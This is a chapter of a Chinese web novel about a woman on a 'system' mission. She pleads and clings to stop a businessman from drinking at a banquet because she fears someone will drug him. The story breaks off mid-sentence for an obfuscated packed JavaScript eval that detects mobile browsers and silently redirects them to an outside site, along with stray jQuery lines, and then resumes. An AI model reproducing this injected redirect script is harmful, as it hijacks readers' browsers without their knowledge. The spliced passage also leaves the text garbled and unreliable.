21. 第 21 章

作品:《男主已初始化

    “为什么?”陆铭面露疑惑。


    温初言辞凿凿地说:“因为喝酒伤身啊!而且我还怕你喝多了酒后乱性,宴会上这么多好看的女孩,肯定还有不少人今晚会留下来在这里休息,要是你喝多了,又有人有意勾搭你,你没忍住怎么办?那我可太伤心了……我无法接受这样的事情发生!”她捂着胸口表现得痛心疾首。


    “温初!”陆铭似乎觉得脏了耳朵,咬着牙说:“你再用这种恶心的想法揣测我你就死了!我不可能做出这种事。”


    “我说万一,万一呢!那小说里都是这么写的!男主喝多了,思念过度,错把人当成自己心爱的白月光……一夜荒唐后醒来,发现弄错了认,追悔莫及,却于事无补……”


    陆铭的脸色被她说得越来越难看:“你脑子里还能装点正常的东西吗?你再这么恶心我,信不信我把你扔出去?”他说着就上前一步。


    “好好好……“温初赶紧往后退一步,这招说不通,她再换一个,她将头发别向耳后,又开始无比认真地说:“就算没有我上面说的这些……其实我还怕有人对你意图不轨。宴会上这么多人,我不放心你,你还是时刻保持清醒才好啊。”


    陆铭觉得好笑:“你不担心自己,倒是担心我?”


    “我?”温初不以为意,“应该没人有胆子对我做什么。”


    “那就有人敢对我做什么了?”


    “那能一样吗!我这么人见人爱,花见花开,心地善良,人缘又好,还与人无害的,谁会害我?反倒是你——”


    “你是真的很会往自己脸上贴金。”陆铭都快听不下去了,眼神冷冷盯着她问:“还有,我怎么了?”


    温初又开始危言耸听,没病造病:“你也不想想,之前外面多少人等着百越倒下然后瓜分占得市场,结果你突然冒出来,坏了他们的好事,你说你多遭人厌!还有这两年,你为了提高信服力,肯定也没少得罪人,这一来二去,人为财死,鸟为食亡,搞不好在你没注意到的地方,你坏了人家的好事,对方来报复你,在你酒里下毒怎么办!”


    陆铭深吸一口气,显然无语地不轻:“你也是真敢想。照你这么说,新闻头条隔三差五就应该是某某企业家被害身亡。别人也都不用努力了,谁挡了自己的路,直接想办法弄死好了?我觉得我听你说话,反倒像在浪费生命。”


    “噗嗤……”温初被人一本正经的话给逗笑了,但她很快又抿住嘴巴憋住笑意,挠了挠额头说:“或许……是没那么严重,但万一是其他一些恶作剧呢,想让你在宴会上出丑,影响你的商业形象,比如泻药,安眠药,迷药……”她掰着手指头绞尽脑汁想。


    陆铭:“……”


    看着对方用看傻子一样的眼神看着自己,温初泄了气地哎呦一声,显然也有点编不下去了,晓之以理动之以情,但是现在理没有,情也没有。这要求本来就很莫名其妙,她自己也知道。


    就她和陆铭目前这水火不容的关系,系统把这个任务给她,她根本看不住啊,嘴长在人家身上,她还能时时把守着不成?


    但没办法,她已经失败了一次,怎么也不能再失败第二次,再难也得上。


    无奈之下,她只好再次转变策略,道理讲不通,那干脆不讲了!


    她一下子哭丧起脸来,扯过男人的手臂大力摇晃,像个无赖一样,一哭二闹三上吊:“你真别喝!算我求你了!你就听我的吧!你又不会害你!”


    “你……?”陆铭显然被温初这一百八十度的态度大转变弄得很无措,满脸写着莫名其妙,他被人晃得头都有些晕,心更烦,“你,你先松手!”


    “你不答应我就不松!”温初使出九牛二虎之力,就差没一屁股坐在地上撒泼打滚了。


    “你是不是有病?你今晚到底吃错什么药了?!”陆铭想和她拉开距离,温初却步步不离,贴着他,粘着他,两只手先是抓着他的手腕不松手,后又抱住,陆铭节节败退,不停闪躲,想把胳膊抽出来,可他走到哪,温初跟到哪,呈现出来的场面就是两个扮相都十分成熟的男女在酒店里像没长大的小屁孩一样来回转圈。


    温初还苦着脸在死缠烂打:“你相信我吧,我真是为你好!我什么时候害过你?防人之心不可无你知不知道?”


    “我看你是无厘头小说看多了,有被害妄想症!”今天是他陆家的主场,宴会是他一手操办的,菜品和酒单都由他过目,所有的东西都经过了安全检验,几乎不可能有人能够在酒里做手脚。


    “那你就当我言情小说看多了,有被害妄想症吧,我一想到有人可能觊觎你的美貌,贪图你的钱财,抢夺你的地位,迷恋你的身体,对你图谋不轨,就很害怕,就心如刀绞,寝食难安,食不下咽!今晚那么多人,谁也不能保证有没有混进来心存歹念的人,而且喝酒真的伤身,多喝无益啊!呜呜呜!”温初从来不知道自己能这么鬼扯,她干哭着,把人嚎得头疼。


    陆铭无语极了,“不是谁都像你一样,没有那么多人盯着我。你松不松手?”


    “你不答应我就不松!”温初死死抱着。


    陆铭受不了了,他深吸一口气,多用了点力,试图将胳膊彻底从对方的爪子下抽出来,结果抽是抽出来了,就是连带着温初整个人也惯性地往他倾来。


    他就这样被一百多斤的重量撞倒,被人连带着压在了身后的沙发上,东歪西倒。


    “唔!”陆铭忍不住闷哼一声,因为温初的额头还撞到了他的下巴。


    “嗷!”温初也捂着脑袋叫了一声。


    两人一片狼狈,从造型到衣服再到姿势。


    温初大喇喇地趴跪在了他的身上,胸口和脑袋都被撞得生疼。


    “靠!我的腰……好像闪到了……”她撑着沙发,慢吞吞直起了身子,脖子上的项链又垂下来打了陆铭一巴掌。


    陆铭闭了闭眼睛,火更大了。


    她坐在陆铭腿上,皱着眉头揉着腰,裙摆开叉到了最大,衣服也被弄出了不少的褶皱,身后装饰用的绑带也散开了。


    陆铭见这毫不雅观的姿势,脸上青一阵红一阵,“你还不起来!”


    “哦。”温初准备起身,陆铭也撑着沙发准备坐起来,但随后温初又反应过来,重新坐回了男人大腿上,还顺带把陆铭也按了回去。


    陆铭睁大眼睛,满眼写着震惊。


    “不对啊,我干嘛要听你的。”温初将裙子理了理遮住腿根处,确保不会走光,然后安然地跪坐在陆铭腿上压着他,确定对方起不来后,才居高临下地看着他,无赖道:“你不答应我就不起来。”


    陆铭咬了咬牙:“你真觉得就你这小身板能压得住我?”


    “你知道我今天这一身多贵吗?尤其我脖子上戴着的这个,你要是对我使用暴力,把我弄得磕着碰着了,陆董事长今天这个寿宴恐怕是过不安生了。你确定要这么做吗?”温初非常硬气地以权谋私道。


    “温初!“陆铭重重叹了口气,似乎拿人完全没办法了:”你还能再不讲理一点吗?今天场上那么多宾客,我怎么可能不喝酒?而且,场上的酒都是从酒窖里拿出来的,不可能有问题,你的担心根本就是多余的。”


    温初看着他,五官拧在一块,不置一词,似乎是在思考。


    呼吸急促,陆铭身体僵硬着,一动不敢动,女人腿间的温度隔着西装裤单薄的布料传递给了他,他默默咬紧了牙。有些东西根本不是他意志坚定就能控制的住的,等真有所变化,就完了。


    他努力稳住自己的呼吸,终于妥协道:“不可能一点都不喝,但是……我不会喝醉,你刚刚说的那些情况,我保证都不会发生。”


    温初有外挂,当然知道有发生的可能,就看运气好不好,能不能躲过去了,于是她不依不挠道:“万一人家趁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525742|169692||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你不备,偷偷换了你的杯子,中途下了药呢?”


    “……”他就非得被害吗?


    温初叹了口气,索性也退一步:“那你保证不许接别人递过来的酒,离开过你视线的酒也不要喝,你自己能不喝也不要喝。不要给他们伤害你的机会,我不想你出任何事,听到没?”


    陆铭怎么也没料到有一天一个看上去比他弱小几十倍的人不担心自己,倒是担心别人会伤害他。


    究竟谁会不要命的害他?


    陆铭眼里满是复杂,但为了不再保持这样的姿势下去,只能勉强应了声,“行。”


    “这才对嘛。”温初笑了笑。


    “起来!”


    温初满意地从人身上下来,整理了仪容仪表,又看向身后散开的绑带,她转过身背对着陆铭,理所当然道:“帮我系一下。”


    陆铭从沙发上坐起来,将已经东歪西扭的领带扯了下来,烦躁地扔到一边,扫了一眼女孩裸露在外的一小片腰肢,移开了目光,“我不会。”


    “随便系个蝴蝶结总会吧!”


    陆铭抿了抿唇,很不情愿地伸出手开始摆弄。


    很快就说:“好了。”他从沙发上站起来,从地上捡起刚刚从口袋里滑下去的手机。


    “谁说不会的,这不是系的很好嘛,心灵手巧啊,陆总。”温初往后看看,又斜睨他一眼,揶揄道。


    陆铭微微红着脸,也不看她:“你可以出去了。”


    “别忘了你答应我的。”温初再一次提醒道。


    陆铭又皱了下眉,憋屈地说:“知道了。”


    温初这下心情才好一些,理理头发往外走,先让陆铭自己留个心眼,她再盯着,看到有不对劲的人和酒重点提醒一下,成功几率翻倍。


    做个任务真不容易啊,她都多少年没这么无赖流氓过了,温初擦了下额头上的细汗,暂时松了口气。


    人在屋檐下,不得不低头啊。


    “有水吗?我喝口水再走。”温初问,刚刚嘴巴都快给她说干了。


    “就在桌子上,自己拿。”陆铭背过身去,打了个电话。


    温初看到了桌上放的纯净水,走过去打开仰头喝了起来,又听人吩咐电话那头的人给他拿一件新的衣服过来。


    她喝好擦擦嘴,在人面前晃了晃,用口型跟男人说:我走啦。


    陆铭望她一眼,又迅速收了回去,像是翻了她半个白眼,继续和电话那头说着要求。温初撇撇嘴,也不跟他计较,蹦跶着往门口走,但就在快到门口的时候,陆铭挂断了电话,冷声叫住了她:“站住。”


    温初身形一顿,听这语气又捏了把汗,转过头去看他,笑了下:“怎么?舍不得我走?还想再聊一会儿?”


    陆铭被人刚刚突如其来的一套搞得脑子都不正常,现在终于冷静下来,望着她的眼神里升起一丝怀疑:“你是不是知道了什么?”


    温初顿时如芒在背。


    她当然不能让人知道自己有外挂,于是只能重新转过身来,换上和刚刚一样含情脉脉的神情,装起了小白花:“我要是知道什么我干嘛不直接告诉你?在这个世界上最不希望你受伤的人肯定是我。你做什么都行,唯独不可以怀疑我对你的感情,我会很伤心的。”


    “我就是没由来的担心,女人的第六感你知道吗?我看今天场上不少人看你的眼神都不对劲,这让我很不舒服。”


    女人身形单薄的站在门口,此刻的表情我见犹怜。


    陆铭明知道这女人大概率是装的,但心口还是轻轻被拨动了一下。


    他没说话,只是眉心微皱,远远和温初对视,似乎想透过她的眼睛,去窥探她真实的内心。


    就在温初快要破功装不下去的时候,陆铭才移开视线:“你能少说点这么肉麻的话吗?赶快出去。”


    温初暗松一口气,赶紧开门run。